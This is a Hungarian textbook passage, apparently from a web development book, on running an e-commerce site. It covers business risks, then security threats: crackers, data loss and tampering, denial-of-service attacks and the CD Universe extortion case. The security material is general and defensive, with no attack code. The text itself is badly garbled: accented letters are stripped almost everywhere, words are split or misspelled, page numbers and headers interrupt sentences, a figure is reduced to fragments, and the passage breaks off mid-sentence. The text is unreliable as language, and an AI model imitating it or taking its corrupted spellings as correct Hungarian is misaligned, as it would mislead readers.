Rengeteg termket s szolgltatst rtkestenek az interneten s szlltjk ki a vsrlnak futrszolglattal. Egy kisebb rsz ket azonnal, online ignybe veheti a vsrl. Ha valamely szolgltatst vagy rut hlzaton keresztl is lehet tovbbtani, akkor azonnal, emberi beavatkozs nlkl megrendelhet, kfizethet s ignybe vehet. Az gy rtkestett legegyszerbb szolgltats

14

az informci. Az informci gyakran teljesen ingyenes vagy hirdetsekbl finanszrozott. Egyes informcikhoz elfizets vagy tranzakcinknti fizets alapjn lehet hozzfrni. A digitlis rucikkek kz tartoznak egyebek kztt az e-knyvek s az elektronikus formtumban (pldul MP3-ban) lv zene. A kpgynksgek ltal forgalmazott kpek is digitalizlhatk s letlthetk. A szmtgpes szaftvereknek sem kell szksgszeren CD-n vagy DVD-n lennik, kzvetlenl is letlthetk. Az gy rtkestett szolgltatsok kz tartozik pldul az internet-hozzfrs vagy a webtrhely is. Az oldalunkon megrendelt termkek fizikai kiszllitsa esetn bizonyos elnykkel s htrnyokkal kell szmolnunk. A fi zikai formban ltez termk kiszllitsa pnzbe kerl. A digitlis letltsek szinte teljesen ingyenesek. Ez azt jelenti, hogy ha msolhat s digitlisarr rtkesthet termket vagy szolgltatst knlunk, annak rtkestsi kltsge l s 1000 darab esetn is ugyanaz lesz. Termszetesen ez csak bizonyos korltok kztt igaz; megfelel szint rtkests s forgalom esetn tbbet kell pldul hardverre s svszlessgre fordtani. A digitlis termkek s szolgltatsok knnyen rtkesthetk impulzv vsrlsknt. Ha valal fizikai formban ltez ru cikket rendel, a szllts legalbb egy napig tart. A letltseket ezzel szemben msodpercben, legfeljebb percben mrjk. Ez azt jelenti, hogy a kereskedk az azonnali teljests terhvel knytelenek szembeslni. Ha digitlisarr teljestjk a vsrlst, azonnal kell megtennnk azt. Nem tehetjk meg, hogy manulisan dolgozzuk fel a rendelseket, vagy napon bell szttertjk a cscs idszak terhelst. Az azonnali teljests rendszereknl ezrt inkbb fennll a csals veszlye, s nagyobb terhelst jelentenek a szmtgpes erforrsoknak. A digitlis termkek s szolgltatsok kivlarr alkalmasak az e-kereskedelemre, de nyilvnvalan korltozott az gy rtke sthet termkek s szolgltatsok kre.

Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz


Az zleti weboldalak egyes, igen sikeres rszei egyltaln nem rulnak termket vagy szolgltatsokat. Az olyan funkcikat, mint a futrcgek-pldul az UPS (http://www.ups.com) vagy a Fedex (http://www.fedex.com) - nyomon kvetsi szolgl tatsai, nem kzvetlen profitszerzs cljval fejlesztettk ki. A szervezet ltal knlt, meglv szolgltatsokhoz adnak tbblet rtket. Ha lehetsget adunk az gyfeleknek, hogy nyomon kvessk kldemnyk tjt, vagy megrekintsk banki egyenleg ket, versenyelnyhz juttathatjuk vllalkozsunkat. A tmogatst knl frumok is ebbe a kategriba tartoznak. Komoly zleti okai vannak annak, hogy mirt rdemes a v

E-kereskedelmi honlap zemeltetse

227

srlk szmra olyan frumot mkdtetni, ahol megtrgyalhatjk a cg termkeivel kapcsolatos hibaelhrrsi tippeket. A ms vsrlk ltal javasolt megoldsokkal orvosolhatk az gyfelek problmi, a klfldi vsrlk telefonkltsg nlkl kaphacnak tmogatst, s a hivatali rkon kivli idben is vlaszt adhatnak egyms krdseire a frumozk. A tmogats ilyen formja igen alacsony kltsg mellett nvelheti a fogyasztk elgedettsgt.

Kltsgcskkents
Az internet hasznlatnak gyakori oka a kltsgek cskkentse. Megtakarts szrmazhat az informci online megosztsbl,
a

ko mmunikci elmozdtsbl, a szolgltatsok lecserlsbl, illetve a mkds kzpontostsbL Ha jelen pillanatban igen sok embernek adunk tjkoztatst, minden bizonnyal gazdasgosabb mdon is megtehernnk

ezt egy weboldalon kereszrL Akr rlisckat, termkkatalgusokat, dokumentlt eljrsokat, specifikcikat vagy brmilyen ms informcit adunk t az rdekldknek, biztosan olcsbban jnnnk ki, ha ugyanezt az interneten tennnk elrhetv, mint a nyomtatott pldnyok ellltsval s kikldsveL Klnsen igaz ez a rendszeresen vltoz informcikra. Az internet a kommunikci biztostsval pnzt takarthat meg szmunkra. Ez akr azt jelenti, hogy az ajnlatkrseket gyorsan szckldhetjk, s rvid idn bell vlaszt kaphatunk, akr azt, hogy az gyfelek az gynkket vagy kzvettket kikerlve kzvetlenl a nagykereskedvel vagy a gyrtval lphetnek kapcsolatba- az eredmny ugyanaz lesz. Az rak cskkennek,
a

nyeresg pedig n. A pnzbe kerl szolgltatsok elektronikus vltozatra cserlse kltsgcskkentse eredmnyezhet. Btor pldja ennek az

Egghead.com esete. A cg gy dnttt, hogy bezrja informatikai bolchlzatt, s az e-kereskedelemre sszpontosija figyel mc. Br egy komoly e-kereskedelmi oldal ltrehozsa nyilvnvalan pnzbe kerl, egy 80 kiskereskedelmi zletbl ll lnc sokkal nagyobb folyamatos kltsggel jr. m a meglv szolgltatsok cserje kockzatot is hordoz magban. Az a rninimum, hogy az internetet nem hasznl gyfeleket elvesztjk. Az Egghead.com j vllalkozsa nem jtt be. A cg az 1998-as doc-com lufi idejn zrta be zleteit, majd a lufi kipukkadsakor, 2001-ben csdvdelmet krt. A kzpontosts is kltsgcskkense eredmnyezhet. Ha tbb telephellyel rendelkeznk, tbb helyen kell brleti djat s rezsit fizetni, alkalmazottakat foglalkoztatni, s mindenhol raktrkszletet kell fenntartani. Egy internetes vllalkozs elg, ha egyetlen kzponti telephellyel br, a vilg brmelyik pontjrl elrhet lesz.

Kockzatok s veszlyforrsok megismerse


Minden zlet kockzatokkal jr: versenytrsak, lops, llandan vltoz fogyaszti preferencik s termszeti katasztrfk hogy csak nhnyat emltsnk a lehetsges veszlyforrsok kzl. Az e-kereskedelmi cgek ltal szlelt kockzatok egy rsze azonban a hagyomnyos vllalkozsokra alig vagy egyltaln nem jelent veszlyt. Ilyen kockzatot hordoznak a: Crackerek A kvnt zleti eredmny elmaradsa Szmtgpes hardverhibk Elektromos, kommunikcis vagy hlzati hibk Ers verseny Szoftverhibk Vltoz szablyozsi krnyezet s adjogszablyok Rendszer-kapacitsbeli korltok

14

Crackerek
Az e-kereskedelmet rint, leggyakrabban ernlegetett fenyegets a cracker nven ismert, rosszindulat szmtgp-felhaszn lktl rkezik. Minden cg ki van tve annak a veszlynek, hogy bnzk clpontjv vlik, de az e-kereskedelmi vllalkozsok folyamatosan vonzzk a klnbz szndk s kpessg crackereket. A crackerek tmadsainak oka lehet a kihvs, a hrnv irnti vgy, az oldal tnkrettele, pnz eltulajdontsa vagy a term kek, szolgltatsok ingyenes megszerzse. Az oldal biztonsgoss ttelhez az albbiak kombincija szksges: Biztonsgi mentsek ksztse a fontos informcikrl Olyan szemlyzeti politika, amely vonzza a becsletes munkavllalkat, s fenntartja lojalitsukat, mert a legveszlye sebb tmadsok mindig bellrl jnnek Szoftverekkel kapcsolatos vintzkedsek, pldul biztonsgos szoftverek hasznlata s folyamatos frisstse Az alkalmazottak felksztse a tmadsok clpontjainak s a gyengesgek azonostsra

228

14. fejezet

Auditls s naplzs a betrsek s a betrsi ksrletek szlelsre A szmtgpes rendszerek elleni legsikeresebb tmadsok olyan jl ismert gyengesgeket hasznlnak ki, mint a knnyen ki tallhat jelszavak, a gyakran hasznlt hibs konfigurcik s a rgi szoftververzik. A jzan sz ltal diktlt vintzkedsekkel a nem professzionlis tmadsok elhrthatk, illetve elrhet, hogy a legrosszabb bekvetkezse esetn biztonsgi mentssel rendelkezznk.

A kvnt zleti eredmny elmaradsa


Br szles krben tartanak a crackerek tmadsaitl, az e-kereskedelmi vllalkozsok buksnak legnagyobb rsze hagyom nyos gazdasgi tnyezkhz kthet. Egy komoly e-kereskedelmi oldal kifejlesztse s piacra vitele rengeteg pnzbe kerl. A cgek sok esetben hajlandk rvid tvon pnzt veszteni, mert bznak benne, hogy a mrka piaci megszilrdulsa utn az gyflszm s a bevtel is nni fog. A dor-com lufi kipukkadsa sok cg vesztt okozta, mert a vesztesges vllalkozsok mkdshez elengedhetetlen kock zati tke egyszeren elapadt. A komoly buktk kz tartozott az eurpai boo.com is, amelynek elfogyott a pnze. Knytelenek voltak a cget eladni, miutn hat hnap alatt 120 milli dollrt tapsoltak el. A problmt nem az okozta, hogy a Boonak nem voltak eladsai; a baj az volt, hogy a cg sokkal tbbet klttt, mint amennyi bevtelt hozott.

Szmtgpes hardverhibk
Ha vllalkozsunk a weboldalunktl fgg, nyilvnval, hogy brmely szmtgpnk ktitikus alkatrszeinek hibja komoly kvetkezmnnyel jr. Forgalmas vagy zletktitikus weboldalak esetn ltjogosultsga van redundns rendszerek hasznlatnak, hogy brmelyiknek a hibja ne lehessen hatssal a teljes rendszer mkdsre. Mint minden veszlyforrs esetn, itt is azt kell mrlegelni, hogy a weboldal egynapos - a cserealkatrszre vagy a javtsra vrs ideje alatti - lellsnak eslye indokolja-e a redundns berendezs kltsgt. Viszonylag egyszeren belltharunk tbb, Apache-t, PHP-t s MySQL-t futtat gpet, amelyek MySQL replikcival egy szeren szinkronban tarthatk, m jelentsen megnvelik hardver-, hlzatnfrastruktra- s trhelykltsgeinket.

14
Elektromos, kommunikcis vagy hlzati hibk
Ha az internetre alapozzuk vllalkozsunkat, akkor szolgltatk sszetett hlzatra vagyunk knytelenek tmaszkodni. Ha a weboldalunkat a vilg tbbi rszvel sszekt kapcsolat lell, semmi mst nem tehetnk, mint lhe tett kzzel vrjuk, hogy szolgltatnk helyrelltsa a szolgltatst. Ugyanez igaz az elektromos hlzat lellsaira is. A kltsgvetsnk biztostotta kereteken bell dnthetnk gy, hogy tbb szolgltatst vesznk ignybe klnbz szolgl tatktl. Ez tbbletkltsggel jr, de azt jelenti, hogy ha valamelyik szolgltat kiesik, mg mindig ott a msik. A rvid ramki maradsok okozta problmkat sznetmentes tpegysgbe beruhzva kerlhetjk el.

Ers verseny
Ha valamelyik utcasarkon nyitunk kiskereskedelmi boltot, viszonylag pontosan felmrhetjk a versenyhelyzetet. Versenytr saink elsdlegesen a krnyez terleten ugyanazt a termksklt rtkest vllalkozsok. j versenytrsak viszonylag ritkn jelennek meg. E-kereskedelem esetben kevsb mehetnk biztosra. A szlltsi kltsgek fggvnyben versenytrsaink a vilg brmely pontjn elhelyezkedhetnek, s ki vagyunk tve az rfo lyam-ingadozsoknak, illetve a munkaerkltsgek vltozsnak. Az internet ersen versenyz s gyorsan vltoz krnyezet. Ha npszer termkkategriban utazunk, nap mint nap j versenytrsakat kaphatunk. A verseny kockzata ellen nem sokat tehetnk, de ha nem llunk meg a fejlesztsekkel, megprblhatjuk megrizni versenykpessgnket.

Szoftverhibk
Ha vllalkozsunk szoftverekte tmaszkodik, akkor a szaftverekben lv hibk a sebezhetsgnket jelentik. A ktitikus hibk valsznsgt megbzhat szaftver vlasztsval cskkenthetjk, illetve rdemes a rendszer egyes rszeinek megvltoztatsa utn elegend idt hagyni a tesztelsre, formlis tesztdsi eljrst folytatni, s az les rendszeren csak akkor vgrehtani a vl toztatsokat, ha azokat mshol mr kellkppen leteszteltk. Mrskelhetjk a hibk kros kvetkezmnyeit, ha napraksz biztonsgi mentseket ksztnk minden adarunktL a vl toztatsok eltt feljegyezzk a mkd szoftverbelltsokat, s a rendszermveleteket felgyelve gyorsan szleljk az esetleges

E-kereskedelmi honlap zemeltetse

229

problmkat.

Vltoz szablyozsi krnyezet s adjogszablyok


Attl fggen, hogy milyen orszgban lnk, az internet alap vllalkozsok szablyozsa lehet kezdeti, kiforratlan llapotban,

st: akr az is elkpzelhet, hogy ilyen szablyozs mg egyltaln nem ltezik. Ez azonban minden bizonnyal nem sokig marad gy. A jvbeli jogszablyalkotssal bizonyos zleti modelleket megszigorthatnak, szablyozhatnak vagy ellehetetlent hetnek. jabb adkat vethetnek ki. Ezeket elkerlni nem tudjuk, kezelni pedig csak gy lehet, ha napraksz ismeretekkel rendelkeznk, s oldalunkat az aktu lis jogszablyokkal sszhangban mkdterjk. Ha valamilyen, bennnket htrnyosan rint helyzet alakul ki, mrlegeljk egy lobbicsoporthoz csatlakozs lehetsgti

Rendszerkapacitsbeli korltok
Rendszernk megtervezsekor rdemes tekintetbe vennnk a nvekeds lehetsgt. Minden bizonnyal azt remljk, hogy rendszernk egyre forgalmasabb s forgalmasabb lesz. ppen ezrt gy kell kialakitanunk, hogy nvekv kereslet esetn bvt het legyen.
A kapacits bizonyos mrtkig egyszeren gyorsabb hardver beszerzsvel is nvelhet, de ltezik egy hatr, amelynl gyor

sabb szmtgpet mr nem tudunk venni. Szaftvernk vajon gy lett megrva, hogy ha elrjk ezt a pontot, rszekre bonthas suk annak rdekben, hogy tbb rendszer kzrt megoszthassuk a terhelstr Adatbzisunk kpes egyidejleg tbb, klnbz gpektl rkez krs kezelsre r Az adatbzishoz csatlakozs kdja lehetv teszi, hogy ksbb gy mdosthassuk, hogy MySQL master szerverre rjuk s klnbz slave szerverekrl olvassuk ki az adatokatr Kevs rendszer kpes problma nlkl megbirkzni a jelents mrtk nvekedssel. De ha rendszernket a sklzhatsg elvnek figyelembe vtelvel tervezzk meg, kpesek lesznk azonostani s elhrtani az gyflbzisunk nvekedsvel hatat lanul jelentkez szk keresztmetszeteket.

A megfelel

stratgia kivlasztsa

14

Egyesek szerint az internet tl gyorsan vltozik ahhoz, hogy hatkony tervezst tegyen lehetv. Mi viszont gy gondoljuk, hogy ppen ezek a gyors vltozsok teszik rendkivl fontoss a tervezst. Ha nem tznk ki clokat, s nem vlasztunk stra tgit, a vltozsok bekvetkezte utn kell azokra valamilyen vlaszt adni ahelyett, hogy a vltozsokra szmtva aktvan csele kedhetnnk. Most, hogy megvizsgltuk az zleti tpus weboldalak jellemz cljait s az azokat fenyeget fbb veszlyforrsokat, reml jk, az olvasban is kezd megfogalmazdni sajt stratgija.
A stratgia fogja meghatrozni az zleti modellt. Ez a modell ltalban olyan dolog, ami valahol mshol mr bevlt, de ese

cenknt olyan j tlet is lehet, arniben nagyon his.znk. A krds az, hogy meglv zleti modellnket alakitjuk az internethez, meglv versenytrsat msolunk le, vagy agresszv mdon ttr szolgltarst hozunk ltre.

Kvetkez lpsek
A kvetkez fejezerben az e-kereskedelem biztonsgi oldalval foglalkozunk, rszletesen olvashatunk a biztonsgi fogalmakrl,
a

fenyegetsekrl s az ellenk val vdekezs mdszereirl.

15
Az ekereskedelem biztonsgi krdsei
A fejezetben a biztonsg e-kereskedelemben betlttt szerepvel foglalkozunk. Megvizsgljuk, kinek llhat szndkban meg szerezni a birtokunkban lv informcikat, s hogyan prblkozhatnak ezzel. Megnzzk a biztonsgi hzirendek ltrehoz snak elveit, amelyekkel elkerlhetk az ilyen jelleg problmk, illerve megismernk nhny, a weboldalak vdelme rdekben alkalmazhat technolgit, kztk a titkostst, az ellenrzst s a hlzati esemnyek nyomon kvetst. A fejezetben a kvetkez fbb tmakrkkel foglalkozunk: A birtokunkban lv informci fontossga Biztonsgi fenyegetsek Biztonsgi hzirend ltrehozsa Hasznlhatsg, teljestmny, kltsg s biztonsg Ellenrzsi elvek Oldalunk felhasznlinak ellenrzse A titkosts alapjai Privt kulcs titkosts Nyilvnos kulcs titkosts Digitlis alrsok Digitlis tansrvnyak Biztonsgos webszerverek Auditls s naplzs Tzfalak Biztonsgi ments ksztse adatainkrl Fizikai biztonsg

A birtokunkban lv informci fontossga


Mieln a biztonsggal foglalkoznnk, elszr is meg kell prblnunk vlaszolni a krdsre, milyen fontos az, amit vdeni sze retnnk. Mennyire fontos neknk, s mennyire fontos a potencilis crackerek szmra? Knnyen kisrtsbe eshetnk, s azt gondolhatjuk, hogy oldalainknak minden pillanatban a lehet legmagasabb szint biz tonsgra van szksgk, m a vdelem nincsen ingyen. Mieltt eldntennk, mennyi erfesztst s kltsget kvnunk a biz tonsgra fordtani, tudnunk kell, hogy mennyit r a birtokunkban lv informci. Nyilvnvalan eltr rtket kpvisel egy otthoni felhasznl, egy vllalkozs, egy bank vagy egy katonai szervezet szmi tgpn trolt informci. Ugyangy eltr az is, hogy milyen messzire haJland egy tmad elmenni azrt, hogy hozzfrst nyerjen ezekhez az informcikhoz. Vajon mennyire lehet vonz szmitgpeink tartalma a rosszindulat ltogatk szmra? Az otthoni felhasznlknak ltalban korltozottabb lehetsgek llnak rendelkezsre rendszerk megvsra. Mivel
a

szmitgpeiken trolt informcik a tulajdonosukon kvl mindenki ms szmra valsznleg csak alacsonyabb rtket

kpviselnek, az ilyen rendszerek ellen irnyul tmadsok esetiek lesznek, s a tmadk vlheten korltozott erfesztseket tesznek a feltrskre. Ennek ellenre minden szmtgpes hlzat felhasznljnak meg kell tennie a megfelel vintzke dseket. Mg a legkevsb rdekes adatokat trol szmtgpek is felkelthetik a tmadk figyelmt, mert kvlan alkalmasak
arra,

hogy nvtelen tmadsokat inditsanak rluk ms rendszerek ellen, illerve fontos szerepet jtszharnak a vrusok s frgek

terjedsben. A katonai szmtgpek nyilvnvalan a magnszemlyek s a klfldi kormnyzatok clkeresztjben llnak. Mivel az ezek ellen tmadst tervez kormnyzatok minden bizonnyal bsges erforrssal brnak, rdemes megfelel informatikai szemly zeere s egyb erforrsokra klten a szksges vintzkedsek rdekben.

232

15. fejezer

Az ltalunk zemelterni kvnt e-kereskedelmi oldal minden bizonnyal az elbbi kt szlssg kz esik,abban a tekintet ben legalbbis felttlenl, hogy mennyire lesz vonz a crackerek szmra. Ennek megfelelen a vdelmre fordtand erforr soknak s erfesztseknek is a kt szlssg kz kell esnik.

Biztonsgi fenyegetsek
Mi van az oldalunkon kockzarnak kitve? Milyen fenyegetsekre szmthatunk? Az e-kereskedelmi vllalkozsokat rint fenyegetsek egy rszvel az E-kereskedelmi sggal kapcsolatos. Weboldalunktl fggen az albbi biztonsgi fenyegetsekkel kell szmolnunk: Bizalmas adataink kitettsge Adatveszts vagy -rongls Adatmdosts Denial of Service tmadsok Szaftverhibk Letagads Nzzk t egyenknt ezeket a fenyegetseket!

honlap zemeltetse cm, 14. fejezetben mr foglalkoztunk. Sok kzlk a bizton

Bizalmas adataink k.itettsge


A szmtgpeinken trolt,a szmtgpeinktl kldtt vagy azokra rkez adatok bizalmasak lehetnek. Olyan informcikat tartalmazharnak, amiket csak bizonyos emberekkel kvnunk kzlni (ilyenek pldul a nagykereskedelmi rlistk).Lehetnek vsrl ltal megadott bizalmas adatok, pldul jelsz, elrhetsg,hitelkrtyaszm. Remljk,senki nem trol webszervern olyan adatokat,amelyeket nem szereme nyilvnossgra hozni. A webszerver ki mondottan rossz vlaszts titkos informcik trolsra. Ha a brszmfejtsi adatokat vagy a szupertitkos zleti terveinket szmrgpen kvnjuk trolni,akkor szinre brmilyen gpet kivlaszthatunk,csak ne a webszerver legyen az! A webszerver feladatbl addan egy nyilvnosan elrhet gp,amelynek csak a nyilvnossgra tartoz vagy a kzelmltban a nyilvnossg tl begyjttt informcikat szabad trolnia. A kitettsg kockzarnak cskkenrshez korltozni kell az informci elrsre alkalmas mdszerek,illetve az arra jogosult szemlyek krt. Ehhez a biztonsg figyelembevtelvel kell megtervezni a rendszert, megfelelen kell konfigurlni a kiszol glt s a szoftvereker, gondosan kell programozni,alapos tesztelsre van szksg, el kell tvoltani a kiszolglrl a felesleges

15

szolglrarsokat,s meg kell kvetelni a felhasznJk hirelestst. Gondos tervezssel,konfigurlssal, kdolssal s tesztelssei cskkenthet a sikeres tmadsok,illetve annak eslye,hogy informciink valamilyen hiba kvetkeztben msok szmra is elrherv vljanak. A webszerverrl tvoltsuk el a felesleges szolgltatsokat is,hogy cskkenrsk a potencilis gyenge pontok szmt. Minden futtatott szolgltatsnak lehetnek sebezhersgei. Minden ilyen szolgltatst naprakszen kell tartani,hogy egyiknl se legye nek jelen ismert sebezhetsgek. A nem hasznlt szolglratsok veszlyesebbek lehetnek. Ha soha nem hasznljuk pldul az r ep parancsot, akkor minek legyen teleptve a szolgltats?1 Ha azt mondjuk a teleptnek, hogy szmtgpnk hlzati kiszolgl, akkor a fbbLinux-disztribcik s a W indows is szmos olyan szolgltatst telept, amire nem lesz szksgnk, s amiket el kell tvoltani. A Jelhasznlk hitelestse {authentication) esetn megkrjk a ltogatkat,felhasznlkat, hogy azonostsk magukat. Ha a rendszer ltja, kitl rkezik a krs,el tudja dnteni,hogy az adott felhasznl jogosult-e a hozzfrsre. Sokfle hitelestsi mdszer kzl vlaszthatunk,de jellemzen kr fajtja szokott a nyilvnos weboldalakon elfordulni: a jelsz s a digirlis alrs. A fejezet egy ksbbi rszben mindketrrl rszletesebben olvashatunk. A CD Universe esete j plda arra, milyen kvetkezmnyekkel jr- dollrban s hrnvben mrve-,ha egy cg engedi,hogy bizalmas informcikar lopjanak tle. Egy magt Maxusnak nevez szemly 1999-ben kapcsolatba lpett a CD Universe-zel azt lltva,hogy 300 OOO hitelkrtya adatt lopra el a cg weboldalrL 100 OOO dollrt kvetelt az adatok megsemmisrsrr. A cg visszautastotta az ajnlatot,s hamarosan a legnpszerbb jsgok cmlapjn rallca magr, mivel Maxus szroszrorta a krtyaszmokar,hogy msok visszaljenek vele. Az adatok akkor is kockzatnak vannak kitve,amikor hlzaron haladnak keresztl. Br a TCP /IP hlzatok szmralan remek tulajdonsggal brnak,amelyeknek ksznheren lnyegben a klnbz hlzatok internetknt val sszekapcsoll Ha jelenleg hasznljuk az rep-e, akkor is rdemes elrvolrani s az scp-r {biztonsgos msols) hasznlni helyette.

Az e-kereskedelem biztonsgi krdsei

233

snak szabvnyv vltak, a biztonsg- sajnos- nem tartozik ezek kz. A TCP /IP gy mkdik, hogy csomagokra bonga fel az adatokat, majd gprl gpre tovbbtja ezeket a csomagokat, amg mind el nem rik a clllomsukat. Ez azt jelenti, hogy adataink tjuk sorn tbb gpen is keresztlhaladnak, ahogy ezt a 15.1 bra is mucatja. Kzlk brmelyik gp.megcekintheti" a rajta keresztlhalad adatainkat.
------------------,

Forrs

Ih
l l
L-------------------

1 l

Cl

Az internet

15.1 bra:

Az informci interneten keresztli tovbbtsa potencilisan megbzhatatlan gpek sokasgn keresztl kldi az adatokat.
traceroute

Ha ltni szeretnnk, hogy milyen tvonalon jut el tlnk az adat egy adott gpre, a

parancsot kell hasznl

nunk (Unix gpen). A parancs eredmnyekppen megkapjuk azon gpek cmt, amelyeken az adat keresztlmegy, amg elr a clhoz. Ha ez sajt orszgunkon bell van, akkor az adat tlagosan gy tz klnbz gpen megy keresztl. Ha a cl egy klfldi gp, az tkzben rintettek szma a hszar is meghaladhaga. Amennyiben szervezetnk nagy s sszetett hlzattal rendelkezik, az adat akr t gpet is rinthet, mieltt elhagyn az pletet. A bizalmas informcikat vdend titkosthatjuk azokat, mieltt a hlzaton elindulnak. Ekkor az tvonal vgn vissza kell fejteni a titkostott llomnyokat. A webszerverek erre gyakran a Netscape ltal kifejlesztett Secure Sockets Layer (SSL) protokollt hasznljk, ha az adatok kztk s bngszk kztt utaznak. Viszonylag alacsony kltsg, kevs erfesztssel jr mdja ez az adattvitel biztonsgoss ttelnek, m mivel kiszolglnknak egyszer adatklds s -fogads helyett titkostania s visszafejtenie is szksges az adatokat, a szerver ltal msodpercenknt kiszolglhat ltogatk szmt jelents mrtkben cskkenti.

Adatveszts vagy ,rongls


Az adatveszts akr kltsgesebb is lehet, mint ha valaki egyszeren megszerezn azt. Ha hnapokat dolgoztunk oldalunk fejlesztsn, a felhasznli adatok s megrendelsek sszegyjtsn, vajon mennyibe kerlne az idben, hrnvben s pnzben kifejezve, ha mindezen adatokat elvesztennk? Ha nem rendelkeznnk biztonsgi mentssel minden adatunkrl, akkor nagy sietve, a semmibl indulva kellene jra megrnunk weboldalunkat. Elgededen gyfelek tmkelegr tudhatnnk magunknak, s olyan csalkkal tallkoznnk, akik azt llitjk, hogy rendeltek valamit, de nem kaptk meg. Megeshet, hogy crackerek egy figyelmeden programoz vagy rendszergazda

l"

15

egyszer betrnek a rendszernkbe, s formzzk merevlemeznket. Az is igen valszn, hogy egyszer vletlenl kitrl valamit, de az majdnem biztos, hogy egyszer tnk

remegy egy merevlemeznk. A merevlemezek percenknt tbb ezer fordulatot tesznek meg, s olykor elromlanak. Murphy trvnye pedig kimon<lja, hogy minden bizonnyal a legfontosabb merevlemez lesz az, amirl j rgen nem ksztettnk biz tonsgi mentst. Szmtalan klnbz intzkedssei cskkenthegk az adatveszts eslyt. Vdjk kiszolglinkat a crackerek ellen! A lehe
t legnagyobb mrtkben korltozzuk a szmtgpeinkhez hozzfr alkalmazottak szmt! Csak hozzrt, gondos szakem

berekkel dolgozzunk! Vsroljunk j minsg merevlemezeket! Hasznljuk a RAID ( Redundant Array of Inexpensive Disks -olcs lemezek redundns tmbje) technolgit, ami lehetv teszi, hogy tbb merevlemez mkdjk egyeden gyorsabb, megbzhatbb merevlemezknt! Mindegy, hogy mi az adatveszts oka, egyeden igazi vdelem ltezik ellene: a biztonsgi ments. A biztonsgi mentsek ksztse nem rtudomny. ppen ellenkezleg: unalmas, fraszt s- remnyeink szerint - haszontalan foglalatossg, ami ugyanakkor letbevgan fontos. Gondoskodjunk arrl, hogy adatainkrl rendszeres biztonsgi mentsek kszljenek, s ne felejtsk el letesztelni a biztonsgi ments ksztsnek folyamatt, hogy az gy kapott adatok helyrelltsa biztostott legyen! gyeljnk, hogy a biztonsgi mentseket a szmitgpeinktl tvol troljuk! Br elg kicsi az eslye, hogy irodnk leg, vagy valarnilyen termszeti katasztrfa nyomn teljesen tnkremegy, a biztonsgi mentsek fizikailag ms helyen trolsa semmibe nem kerl vintzkeds.

234

15. fejezet

Adatmdosts
Mr az adatveszts is hatalmas krokat okozhat, adataink mdostsa azonban mg ennl is rosszabb lehet. Kpzeljk el, hogy valaki hozzfrst szerzett rendszernkhz,s mdostotta fjljainkarl Egy teljes kr trlst minden bizonnyal szrevesznk, s a biztonsgi mentsbl helyrelltharjuk a trlt llomnyokat, de vajon meddig tart, amg a mdostsokat szrevesszk? Ilyen mdostsok az adatfjlokat s a futtathat fjlokat egyarnt rinthetik. A crackerek olyan cllal mdosthatnak adat fjlt, hogy megvltoztassk oldalunk megjelenst, vagy csalssal elnyhz juttassk sajt magukat. A futtathat fjlok sznd kosan megronglt vltozatokra cserlsvel az egyszer mr hozzfrst szerz cracker titkos hts ajthoz (backdoor) juthat, vagy magasabb szint rendszerjogosultsgokat oszthat ki sajt magnak. A hlzaton thalad adatokat ellenrz sszeg (signature) hasznlatval vdhetjk a mdostsoktl. Ez a megkzelts nem akadlyozza ugyan meg, hogy valaki mdostsa az adatot, de ha a fogad fl a fjl megrkezsekor ellenrzi, hogy az alrs mg mindig stimmel-e, meg tudja llaptani, ha a fjlt mdostottk. Ha adatainkat titkostssal vdjk a jogosulatlan megte kintstl, az alrs hasznlatval igencsak megneheztjk azt, hogy valaki tkzben szrevtlenl mdosthassa azokat. A kiszolgln trolt fjlok mdostsok elleni vdelmhez opercis rendszernk fjljogosultsgait kell hasznlni,illetve vdennk kell rendszernket a jogosulatlan hozzfrstL A fjljogosultsgok lehetv teszik,hogy felhasznlink hasznl hassk a rendszert, de ne kapjanak szabad kezet a rendszerf:ijlok vagy ms felhasznlk llomnyainak megvltoztatshoz. A megfelel jogosultsgi rendszer hinya az egyik oka annak, hogy a Windows 95, 98 s ME soha nem voltak igazn alkalma sak kiszolgl opercis rendszernek. A mdostsokat gyakran igen nehz szrevenni. Ha brmikor rjvnk,hogy rendszernk biztonsga srlt, honnan fogjuk tudni,hogy a fontos fjlokat megvltoztattk-e? Vannak olyan fjlok- pldul az adatbzisunkat trol adatllomnyok -,ame lyek rendeltetsszer hasznlat esetn is idrl-idre vltoznak. Ms f:ijloknak pedig a telepts utn rnindaddig vltozatlannak kell maradniuk,amg szndkosan nem frisstjk ket. A prograrnak s az adatok mdostsa is alattomos dolog tud lenni,de mg a programokat a mdosts gyanja esetn jratelepthetjk,abban nem lehetnk biztosak, hogy az adatok melyik verzija"tiszt: A fjlok integritst ellenrz szoftverek, mint amilyen pldul a Tripwire is, feljegyzik a fontos fjlok tudottan biztonsgos - pldul kzvetlenl a telepts utni- llapotnak informciit, gy ezeket ksbb felhasznlhatjuk annak megllaptsra, hogy vltozatlanok maradrak-e ezek az llomnyok. A program fizets s bizonyos felttelek mellett ingyenes verziit a http:/ l www.tripwire.com oldalrl tlthetjk le.

Denial of Service tmads


Az egyik legnehezebben kivdhet fenyegets a szolgltatsmegtagadssal jr tmads, az gynevezett

Denial of Service (DoS)

tmads. Szolgltarsmegtagads akkor kvetkezik be, ha valaki a cselekedeteivel megnehezti vagy lehetetlenn teszi a felhasz nlk szmra, hogy hozzfrjenek egy szolgltatshoz, vagy kslelteti idkritikus szolgltatshoz val hozzfrsket.

15

A 2000-es vek elejn megosztott szolgltatsmegtagadssal

(DDoS) jr tmadsok tmkelegr inditottk nagy forgalm

oldalak ellen. A clpontok kz tartozott a Yahoo!, az eBay, az Amazon, az E-Trade s a Buy.com. Ezek az oldalak olyan ltoga tottsgi szintekhez vannak hozzszokva, amilyenekrl mi nem is igen lmodhatu nk, de DoS-rmadssal mg ezeket is rkra elrhetetlenn lehet tenni. Br a eraeketeknek anyagi elnyk ltalban nem szrmazik egy weboldal tlterhelsbl, az oldal zemeltetje jelents veszresggel szembeslhet gy anyagiakban, mint a hrnevt illeten. Lteznek olyan oldalak, amelyek jl meghatrozhat idszakban bonyoltjk forgalmuk jelents rszt. Az online fogad oldalak irnti rdeklds jelentsen megugrik kzvetlenl a nagy sportesemnyek eltt. Az egyik alkalom, amikor a crackerek megprblrak D DoS-tmadsbl pnzt csinlni, 2004-ben volt: online fogadirodkat zsaroltak meg azzal, hogy a legforgal masabb idszakban fogjk tmadni ket. Az ilyen tmadsok elleni vdelem nehzsgt egyrszt az okozza, hogy szmtalan klnbz mdon kivitelezhetk. A szba jhet mdszerek kz tartozik olyan program teleptse a clgpre, amely a rendszer processzoridejnek nagy rszt a clpont 